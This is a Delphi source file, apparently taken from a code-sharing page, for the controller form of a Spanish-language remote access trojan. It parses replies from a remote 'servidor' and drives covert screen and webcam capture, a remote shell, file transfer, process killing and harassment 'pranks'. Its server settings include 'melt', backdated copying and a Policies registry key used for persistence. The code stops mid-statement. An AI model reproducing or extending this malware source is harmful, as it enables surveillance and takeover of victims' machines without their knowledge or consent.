📄 unitformcontrol.pas
字号:
unit UnitFormControl;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, CommCtrl,
Dialogs, ComCtrls, ImgList, Menus, ExtCtrls, StdCtrls, Buttons, ScktComp, Jpeg,
IdThreadMgr, IdThreadMgrDefault, IdAntiFreezeBase,
IdAntiFreeze, IdBaseComponent, IdComponent, IdTCPServer, UnitTransfer, ShellApi,
GR32_Image, GR32_Layers;
type
TFormControl = class(TForm)
PageControl: TPageControl;
TabInfo: TTabSheet;
BtnRefrescarInformacion: TSpeedButton;
TabProcesos: TTabSheet;
BtnRefrescarProcesos: TSpeedButton;
TabVentanas: TTabSheet;
BtnRefrescarVentanas: TSpeedButton;
ListViewVentanas: TListView;
TabBromas: TTabSheet;
BtnEnviarBromas: TSpeedButton;
ListViewBromas: TListView;
TabFileManager: TTabSheet;
LabelPathArchivos: TLabel;
LabelNumeroDeArchivos: TLabel;
LabelNumeroDeCarpetas: TLabel;
BtnActualizarArchivos: TSpeedButton;
BtnVerUnidades: TSpeedButton;
cmbUnidades: TComboBox;
ListViewArchivos: TListView;
EditPathArchivos: TEdit;
Mensajes: TTabSheet;
MemoMensaje: TMemo;
TabScreencap: TTabSheet;
PopupProcess: TPopupMenu;
Cerrar1: TMenuItem;
PopupWindows: TPopupMenu;
Cerrar2: TMenuItem;
PopupFileManager: TPopupMenu;
EjecutarAbrir1: TMenuItem;
Normal1: TMenuItem;
Oculto1: TMenuItem;
Eliminar: TMenuItem;
Cambiarnombre1: TMenuItem;
Crearnuevacarpeta1: TMenuItem;
StatusBar: TStatusBar;
BtnEnviarMensaje: TSpeedButton;
TabWebcam: TTabSheet;
TabServidor: TTabSheet;
ListViewServidor: TListView;
BtnActualizarServidorInfo: TSpeedButton;
Descargarfichero1: TMenuItem;
N4: TMenuItem;
TabTransferencias: TTabSheet;
ListViewDescargas: TListView;
PopupDescargas: TPopupMenu;
Subir1: TMenuItem;
Bajar1: TMenuItem;
Eliminardescarga1: TMenuItem;
Subirfichero1: TMenuItem;
TabShell: TTabSheet;
MemoShell: TMemo;
PopupShell: TPopupMenu;
Activar2: TMenuItem;
ComboBoxShellCommand: TComboBox;
Desactivar2: TMenuItem;
PopupServicios: TPopupMenu;
Iniciar1: TMenuItem;
DEtener1: TMenuItem;
Desinstalar1: TMenuItem;
Instalar1: TMenuItem;
DetenerDescarga1: TMenuItem;
ReanudarDescarga1: TMenuItem;
ComboBoxGestionDeServidor: TComboBox;
BtnEnviarComandoServidor: TSpeedButton;
IconsArchivos: TImageList;
ListViewInformacion: TListView;
BtnCapturarScreen: TSpeedButton;
ClicksRemotos: TLabel;
ProgressBarScreen: TProgressBar;
TrackBarCalidad: TTrackBar;
CheckBoxMouseClicks: TCheckBox;
ProgressBarWebcam: TProgressBar;
ComboBoxWebcam: TComboBox;
TrackBarCalidadWebcam: TTrackBar;
LabelPosicionCompresJpgWebcam: TLabel;
LabelCalidadWebcam: TLabel;
BtnCapturarWebcam: TSpeedButton;
BtnObtenerWebcams: TSpeedButton;
EditTituloMensaje: TEdit;
GrpBoxTipoMensaje: TGroupBox;
ImgError: TImage;
ImgAsterisk: TImage;
ImgWarning: TImage;
ImgInfo: TImage;
RdBtnError: TRadioButton;
RdBtnPregunta: TRadioButton;
RdBtnExclamacion: TRadioButton;
RdBtnInfo: TRadioButton;
RdBtnVacio: TRadioButton;
RdGrpBotonesMensaje: TRadioGroup;
ListViewProcesos: TListView;
OpenDialogUpload: TOpenDialog;
BtnOpen: TSpeedButton;
ImgCaptura: TImage32;
ImgWebcam: TImage32;
Label1: TLabel;
procedure FormCreate(Sender: TObject);
procedure BtnRefrescarProcesosClick(Sender: TObject);
procedure BtnRefrescarVentanasClick(Sender: TObject);
procedure cmbUnidadesSelect(Sender: TObject);
procedure ListViewArchivosDblClick(Sender: TObject);
procedure Cerrar1Click(Sender: TObject);
procedure Cerrar2Click(Sender: TObject);
procedure Normal1Click(Sender: TObject);
procedure Oculto1Click(Sender: TObject);
procedure EliminarClick(Sender: TObject);
procedure Cambiarnombre1Click(Sender: TObject);
procedure Crearnuevacarpeta1Click(Sender: TObject);
procedure BtnRefrescarInformacionClick(Sender: TObject);
procedure BtnActualizarArchivosClick(Sender: TObject);
procedure BtnEnviarBromasClick(Sender: TObject);
procedure BtnVerUnidadesClick(Sender: TObject);
procedure ListViewArchivosContextPopup(Sender: TObject;
MousePos: TPoint; var Handled: Boolean);
procedure ListViewArchivosEdited(Sender: TObject; Item: TListItem;
var S: string);
procedure BtnEnviarMensajeClick(Sender: TObject);
procedure BtnCapturarScreen1Click(Sender: TObject);
procedure BtnObtenerWebcamsClick(Sender: TObject);
procedure BtnCapturarWebcamClick(Sender: TObject);
procedure BtnActualizarServidorInfoClick(Sender: TObject);
procedure BtnEnviarComandoServidorClick(Sender: TObject);
procedure Descargarfichero1Click(Sender: TObject);
procedure Borrarcompletados1Click(Sender: TObject);
procedure ListViewDescargasContextPopup(Sender: TObject;
MousePos: TPoint; var Handled: Boolean);
procedure ListViewDescargasCustomDrawSubItem(Sender: TCustomListView;
Item: TListItem; SubItem: Integer; State: TCustomDrawState;
var DefaultDraw: Boolean);
procedure Eliminardescarga1Click(Sender: TObject);
procedure Subir1Click(Sender: TObject);
procedure Bajar1Click(Sender: TObject);
procedure Subirfichero1Click(Sender: TObject);
procedure Activar2Click(Sender: TObject);
procedure ComboBoxShellCommandKeyPress(Sender: TObject; var Key: Char);
procedure PopupShellPopup(Sender: TObject);
procedure Desactivar2Click(Sender: TObject);
procedure PopupDescargasPopup(Sender: TObject);
procedure DetenerDescarga1Click(Sender: TObject);
procedure ReanudarDescarga1Click(Sender: TObject);
procedure ObtenerScreenCap_CamCap(AThread: TIdPeerThread; filesize: int64);
procedure EditPathArchivosKeyPress(Sender: TObject; var Key: Char);
procedure ListViewProcesosColumnClick(Sender: TObject;
Column: TListColumn);
procedure ListViewProcesosCompare(Sender: TObject; Item1,
Item2: TListItem; Data: Integer; var Compare: Integer);
procedure ListViewRegistroCompare(Sender: TObject; Item1,
Item2: TListItem; Data: Integer; var Compare: Integer);
procedure ListViewArchivosCompare(Sender: TObject; Item1,
Item2: TListItem; Data: Integer; var Compare: Integer);
procedure BtnOpenClick(Sender: TObject);
procedure ImgCapturaMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer; Layer: TCustomLayer);
private
Servidor: TIdPeerThread;
RecibiendoFichero: Boolean;
NombreSI, DescripcionSI, RutaSI: string;
Columna, ColumnaOrdenada: Integer;
function IconNum(strExt: string): Integer;
procedure UpdateProgressBarScreen;
procedure TransferFinishedNotification(Sender: TObject);
public
NombrePC: string;
constructor Create(aOwner: TComponent; AThread: TIdPeerThread); overload;
procedure OnRead(command: string; AThread: TIdPeerThread); overload;
procedure OnReadFile(AThread: TIdPeerThread); overload;
end;
var
FormControl: TFormControl;
pctProgressBarScreen: integer;
GenericBar: TProgressBar;
implementation
uses
UnitMain, UnitFunciones;
{$R *.dfm}
constructor TFormControl.Create(aOwner: TComponent; AThread: TIdPeerThread);
begin
inherited Create(aOwner);
Servidor := AThread;
end;
procedure TFormControl.FormCreate(Sender: TObject);
begin
RecibiendoFichero := False;
end;
procedure TFormControl.OnRead(command: string; AThread: TIdPeerThread);
var
Recibido, TempStr: string;
Item: TListItem;
i, a: Integer;
RealSize: string;
begin
Recibido := Command;
// FormMain.Caption := Recibido; //Para debuggear!
if Recibido = 'CONNECTED?' then Exit;
if Pos('CONNECTED?', Recibido) > 0 then
Delete(Recibido, Pos('CONNECTED?', Recibido), Length('CONNECTED?'));
//Borra la String 'CONNECTED?'
if Copy(Recibido, 1, 4) = 'INFO' then
begin
Delete(Recibido, 1, 5); //Borramos INFO|
for i := 0 to 9 do //10 items
begin
if i = 9 then //Tama駉 de los discos duros recibido en bytes
ListViewInformacion.Items[i].SubItems[0] := ObtenerMejorUnidad(StrToInt64(Copy(Recibido, 1, Pos('|', Recibido) - 1)))
else
ListViewInformacion.Items[i].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
end;
end;
//Comandos relacionados con la gesti髇 del servidor
if Copy(Recibido, 1, 8) = 'SERVIDOR' then
begin
Delete(Recibido, 1, 9);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1); //Saca el comando
Delete(Recibido, 1, Pos('|', Recibido));
//Informaci髇 espec韋ica del servidor
if TempStr = 'INFO' then
begin
with ListViewServidor do
begin
//Versi髇
Items[0].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
//Nombre
Items[1].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
for i := 3 to 5 do
begin
//IP, Puerto, Conectar Cada
Items[i].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
end;
for i := 7 to 11 do
begin
//bCopiar, NombreDeArchivo, Copiar a, melt, CopiarConFechaAnterior
Items[i].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
end;
for i := 13 to 14 do
begin
//bPolicies, Nombre de la clave de Policies
Items[i].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
end;
//Ruta del servidor
Items[16].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido))
end;
end;
end;
if Copy(Recibido, 1, 4) = 'PROC' then
begin
ListViewProcesos.Clear;
Delete(Recibido, 1, 5);
while pos('|', Recibido) > 0 do
begin
Item := ListViewProcesos.Items.Add;
Item.Caption := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
Item.SubItems.Add(Copy(Recibido, 1, Pos('|', Recibido) - 1));
Delete(Recibido, 1, Pos('|', Recibido));
end;
end;
if Copy(Recibido, 1, 4) = 'WIND' then
begin
ListViewVentanas.Clear;
Delete(Recibido, 1, 5);
while pos('|', Recibido) > 0 do
begin
Item := ListViewVentanas.Items.Add;
Item.Caption := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
Item.SubItems.Add(Copy(Recibido, 1, Pos('|', Recibido) - 1));
Delete(Recibido, 1, Pos('|', Recibido));
end;
end;
if Copy(Recibido, 1, 3) = 'MSG' then
begin
Delete(Recibido, 1, 4);
if Recibido = 'El directorio no existe!' then
begin
EditPathArchivos.Text := Copy(EditPathArchivos.Text, 1, Length(EditPathArchivos.Text) - 1); //Borra el ultimo '\'
EditPathArchivos.Text := Copy(EditPathArchivos.Text, 1, LastDelimiter('\', EditPathArchivos.Text));
end;
StatusBar.Panels[1].Text := Recibido;
MessageBeep($FFFFFFFF); //Suena un ruidito..., para informar que hay que mirar la StatusBar :)
end;
if Copy(Recibido, 1, 15) = 'MOUSETEMBLOROSO' then
begin
Delete(Recibido, 1, 16); //Borra 'MOUSETEMBLOROSO|' de la string
ListViewBromas.Items[0].SubItems[0] := Recibido;
//0 porque es el primero en la ListViewBromas
end;
if Copy(Recibido, 1, 13) = 'CONGELARMOUSE' then
begin
Delete(Recibido, 1, 14); //Borra 'CONGELARMOUSE|' de la string
ListViewBromas.Items[1].SubItems[0] := Recibido;
end;
if Copy(Recibido, 1, 7) = 'ABRIRCD' then
begin
Delete(Recibido, 1, 8); //Borra ''ABRIRCD|' de la string
ListViewBromas.Items[2].SubItems[0] := Recibido;
end;
if Copy(Recibido, 1, 16) = 'MATARBOTONINICIO' then
begin
Delete(Recibido, 1, 17); //Borra 'MATARBOTONINICIO|' de la string
ListViewBromas.Items[3].SubItems[0] := Recibido;
end;
if Copy(Recibido, 1, 11) = 'VERUNIDADES' then
begin
Delete(Recibido, 1, 12); //Borra 'VERUNIDADES|' de la string
cmbUnidades.Items.Clear;
while Pos('|', Recibido) > 1 do //Mayor que 1 porque hay un '|' al final de la cadena que se desprecia
begin
TempStr := Copy(Recibido, 1, (Pos('|', Recibido) - 1)); //Unidad
Delete(Recibido, 1, Pos('|', Recibido)); //Borra lo que acaba de copiar
TempStr := TempStr + ' ' + Copy(Recibido, 1, (Pos('|', Recibido) - 1)); //Nombre
Delete(Recibido, 1, Pos('|', Recibido));
TempStr := TempStr + ' - Free Space/total: ' + ObtenerMejorUnidad(StrToInt64(Copy(Recibido, 1, (Pos('|', Recibido) - 1)))); //Espacio disponible
Delete(Recibido, 1, Pos('|', Recibido));
TempStr := TempStr + ' / ' + ObtenerMejorUnidad(StrToInt64(Copy(Recibido, 1, (Pos('|', Recibido) - 1)))); //Espacio total
Delete(Recibido, 1, Pos('|', Recibido));
TempStr := TempStr + ' - Formato: ' + Copy(Recibido, 1, (Pos('|', Recibido) - 1)); //Formato
Delete(Recibido, 1, Pos('|', Recibido));
case StrToInt(Copy(Recibido, 1, (Pos('|', Recibido) - 1))) of //el 鷏timo caracter
0: TempStr := TempStr + ' - Unknown';
2: TempStr := TempStr + ' - Floppy disk';
3: TempStr := TempStr + ' - Hard Disk';
4: TempStr := TempStr + ' - Network Disk';
5: TempStr := TempStr + ' - CD/DVD Drive';
6: TempStr := TempStr + ' - RAM Disk';
end;
cmbUnidades.Items.Add(TempStr);
Delete(Recibido, 1, Pos('|', Recibido));
end;
cmbUnidades.Enabled := True;
EditPathArchivos.Enabled := True;
BtnActualizarArchivos.Enabled := True;
StatusBar.Panels[1].Text := 'Drives Listed.';
end;
if Copy(Recibido, 1, 14) = 'LISTARARCHIVOS' then
begin
Delete(Recibido, 1, 15); //Borra 'LISTARARCHIVOS|'
if Pos('|', Recibido) > 1 then
begin
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1); //Saca la longitud de la cadena
Delete(Recibido, 1, Pos('|', Recibido)); //Borra la longitud
end;
while Length(Recibido) < StrToInt(TempStr) do //mientras el length de la cadena sea menor a lo que nos dice el server
Recibido := Recibido + Trim(Athread.Connection.ReadLn);
ListViewArchivos.Items.BeginUpdate;
ListViewArchivos.Clear; //Limpia primero...
if Length(EditPathArchivos.Text) > 3 then
begin
Item := ListViewArchivos.Items.Add;
Item.ImageIndex := 0;
Item.Caption := '<..>';
end;
while Pos('|', Recibido) > 1 do
begin
TempStr := Copy(Recibido, 1, (Pos('|', Recibido) - 1));
Delete(Recibido, 1, Pos('|', Recibido)); //Borra lo que acaba de copiar
if TempStr[1] = #2 then //entonces le lleg
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -